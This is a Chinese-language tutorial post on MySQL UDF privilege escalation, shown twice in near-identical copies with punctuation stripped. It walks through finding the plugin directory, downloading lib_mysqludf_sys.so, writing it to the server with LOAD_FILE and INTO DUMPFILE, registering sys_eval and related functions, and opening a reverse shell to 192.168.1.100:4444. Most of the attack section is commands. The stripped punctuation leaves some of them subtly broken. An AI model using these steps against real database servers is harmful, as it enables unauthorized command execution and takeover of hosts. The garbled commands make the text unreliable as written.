什么是UDFUDF全称User Defined Function用户自定义函数MySQL允许开发者使用C/C编写动态链接库.dll Windows;.so Linux然后通过CREATE FUNCTION将库中的函数注册为MySQL中的SQL函数扩展MySQL的功能。UDF原本用于处理复杂的计算、读写文件、网络请求等。但是攻击者可以编写一个能执行系统命令的库注册成SQL函数从而获得操作系统权限。UDF的核心UDF提权的核心是将代码执行的权限从MySQL进程扩展到操作系统层面正常MySQL进程有自己的系统用户这些用户权限有限。但是MySQL进程本身是由操作系统启动的具备调用系统API的能力。UDF函数如果加载到了MySQL内存中就有了MySQL进程的所有权限便可以直接执行任意系统命令。提权的目的就是获得MySQL进程运行用户的权限这个权限可以不是root但是可以通过反弹shell进一步获得root权限。攻击条件然而强大的卡牌往往伴随着巨大的风险在这里是需要很严苛的条件。数据库账号必须有增删改查的能力以及file权限用于写入文件secure_file_priv没有对写入目录进行限制MySQL服务未禁用UDF攻击步骤当满足了攻击条件之后便可以使用账号进行攻击。一、确认插件目录执行代码# 寻找插件目录的指令 SHOW VARIABLES LIKE plugin_dir;顺利的话数据库会返回插件目录。二、获取UDF动态库文件从网络上找到预编译的UDF库或者使用metasploit生成。个人推荐metasploit后续只需要执行 Use (生成的UDF提权模块) 后填入信息便可以实现提权。常用的UDF库有lib_mysqludf_sys.so、udf.dll等# 以第一个UDF库为例 # 下载lib_mysqludf_sys.so wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so三、将文件写入MySQL服务器插件目录利用LOAD_FILE配合INTO DOMPFILE写入-- 先把文件内容转换成十六进制字符串 SELECT HEX(LOAD_FILE(/path/on/attacker/lib_mysqludf_sys.so)) INTO hex; -- 再写入服务器 SET shell UNHEX(hex); SELECT shell INTO DUMPFILE /usr/lib/mysql/plugin/udf.so;如果这一步失败那很有可能是secure_file_priv对写入目录进行了限制查看方法-- 查看是否限制了写入目录 Show global variables like ‘secure%’四、注册UDF函数根据实际情况选择下列执行命令其中一个执行即可。执行命令-- 执行命令并返回标准输出 CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.so; -- 执行命令并返回退出码 CREATE FUNCTION sys_exec RETURNS INT SONAME udf.so; -- 执行命令并通过终端返回结果 CREATE FUNCTION sys_shell RETURNS STRING SONAME udf.so;五、执行系统命令验证提权是否成功执行例如SELECT sys_eval(whoami);或者反弹shell到攻击机SELECT sys_eval(bash -i /dev/tcp/192.168.1.100/4444 01);从而可以使用shell
基础知识丨UDF提权
发布时间:2026/5/20 17:45:23
什么是UDFUDF全称User Defined Function用户自定义函数MySQL允许开发者使用C/C编写动态链接库.dll Windows;.so Linux然后通过CREATE FUNCTION将库中的函数注册为MySQL中的SQL函数扩展MySQL的功能。UDF原本用于处理复杂的计算、读写文件、网络请求等。但是攻击者可以编写一个能执行系统命令的库注册成SQL函数从而获得操作系统权限。UDF的核心UDF提权的核心是将代码执行的权限从MySQL进程扩展到操作系统层面正常MySQL进程有自己的系统用户这些用户权限有限。但是MySQL进程本身是由操作系统启动的具备调用系统API的能力。UDF函数如果加载到了MySQL内存中就有了MySQL进程的所有权限便可以直接执行任意系统命令。提权的目的就是获得MySQL进程运行用户的权限这个权限可以不是root但是可以通过反弹shell进一步获得root权限。攻击条件然而强大的卡牌往往伴随着巨大的风险在这里是需要很严苛的条件。数据库账号必须有增删改查的能力以及file权限用于写入文件secure_file_priv没有对写入目录进行限制MySQL服务未禁用UDF攻击步骤当满足了攻击条件之后便可以使用账号进行攻击。一、确认插件目录执行代码# 寻找插件目录的指令 SHOW VARIABLES LIKE plugin_dir;顺利的话数据库会返回插件目录。二、获取UDF动态库文件从网络上找到预编译的UDF库或者使用metasploit生成。个人推荐metasploit后续只需要执行 Use (生成的UDF提权模块) 后填入信息便可以实现提权。常用的UDF库有lib_mysqludf_sys.so、udf.dll等# 以第一个UDF库为例 # 下载lib_mysqludf_sys.so wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so三、将文件写入MySQL服务器插件目录利用LOAD_FILE配合INTO DOMPFILE写入-- 先把文件内容转换成十六进制字符串 SELECT HEX(LOAD_FILE(/path/on/attacker/lib_mysqludf_sys.so)) INTO hex; -- 再写入服务器 SET shell UNHEX(hex); SELECT shell INTO DUMPFILE /usr/lib/mysql/plugin/udf.so;如果这一步失败那很有可能是secure_file_priv对写入目录进行了限制查看方法-- 查看是否限制了写入目录 Show global variables like ‘secure%’四、注册UDF函数根据实际情况选择下列执行命令其中一个执行即可。执行命令-- 执行命令并返回标准输出 CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.so; -- 执行命令并返回退出码 CREATE FUNCTION sys_exec RETURNS INT SONAME udf.so; -- 执行命令并通过终端返回结果 CREATE FUNCTION sys_shell RETURNS STRING SONAME udf.so;五、执行系统命令验证提权是否成功执行例如SELECT sys_eval(whoami);或者反弹shell到攻击机SELECT sys_eval(bash -i /dev/tcp/192.168.1.100/4444 01);从而可以使用shell